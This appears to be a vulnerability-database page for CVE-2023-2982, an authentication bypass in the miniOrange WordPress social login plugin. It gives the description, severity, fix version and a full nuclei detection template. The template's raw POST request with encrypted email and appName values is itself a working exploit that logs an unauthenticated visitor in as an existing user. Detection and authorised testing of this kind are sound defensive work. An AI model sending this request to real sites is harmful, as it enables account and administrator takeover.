HexBrain

Browse / CVEs / CVE-2023-2982

CVE-2023-2982· miniorange / wordpress social login and register \(discord\, google\, twitter\, linkedin\)· CWE-288

Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass

criticalseverity
9.8CVSS score
46.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.

Impact

An attacker can gain unauthorized access to user accounts, potentially leading to data theft, privilege escalation, or other malicious activities.

Fix

Fixed in version 7.6.5

How to confirm it

Send: POST /
Positive when: contains in set_cookie "wordpress_sec_" or "wordpress_logged_in_" AND status 302

Run it with nuclei: nuclei -id CVE-2023-2982 -u <target>

The full check
id: CVE-2023-2982

info:
  name: Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.
  impact: |
    An attacker can gain unauthorized access to user accounts, potentially leading to data theft, privilege escalation, or other malicious activities.
  remediation: Fixed in version 7.6.5
  reference:
    - https://lana.codes/lanavdb/2326f41f-a39f-4fde-8627-9d29fff91443/
    - https://wordpress.org/plugins/miniorange-login-openid/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2982
    - https://plugins.trac.wordpress.org/browser/miniorange-login-openid/trunk/mo-openid-social-login-functions.php#L107
    - https://plugins.trac.wordpress.org/changeset/2924863/miniorange-login-openid
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2982
    cwe-id: CWE-288
    epss-score: 0.46242
    epss-percentile: 0.98823
    cpe: cpe:2.3:a:miniorange:wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\)
    framework: wordpress
  tags: cve,cve2023,wp,wordpress,wp-plugin,auth-bypass,miniorange,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D

    matchers-condition: and
    matchers:
      - type: word
        part: set_cookie
        words:
          - "wordpress_sec_"
          - "wordpress_logged_in_"
        condition: or

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from